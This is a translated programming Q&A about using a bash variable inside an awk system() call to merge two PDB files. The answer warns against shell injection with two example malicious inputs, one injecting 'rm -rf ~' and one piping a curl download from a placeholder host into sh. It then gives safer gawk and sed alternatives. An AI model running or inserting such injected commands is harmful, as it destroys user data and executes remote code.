[英]awk: using bash variable inside the awk script
下面的 bash 代碼結合了 awk 代碼以特殊方式融合 file1 和 file2,檢測到 file2 中的一些塊並插入 file1 中的所有字符串。
#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb
我不能在 awk 部分使用變量“file”的問題,它與 bash 中定義的 file1 有關
{system("cat file");}
否則,如果我在這里過去了 file1 的完整路徑,它運行良好
{system("cat /usr/data/temp/data1.pdb");}
我如何修復我的 awk 代碼以便能夠在那里直接使用 bash 變量?
要回答您的字面問題:
awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'
...將運行cat filename
。
但是,如果有人通過insecure="filename; rm -rf ~"
或insecure='$(curl http://evil.co | sh)'
,那么您將度過非常糟糕的一天。
在 awk 的命令行上傳遞文件名,並檢查FNR
以查看您正在讀取第一個文件還是后續文件。
使用 GNU awk 的readfile
庫:
gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
/^ENDMDL$/ { printf "%s", file1_data } 1' ...
或者,您可以使用while ((getline < file1) > 1)
循環來獲取數據。
使用sed
更容易
$ sed '/^ENDMDL$/r file1' file2
在標記之后插入 file1。
用 file1 內容替換標記行
$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.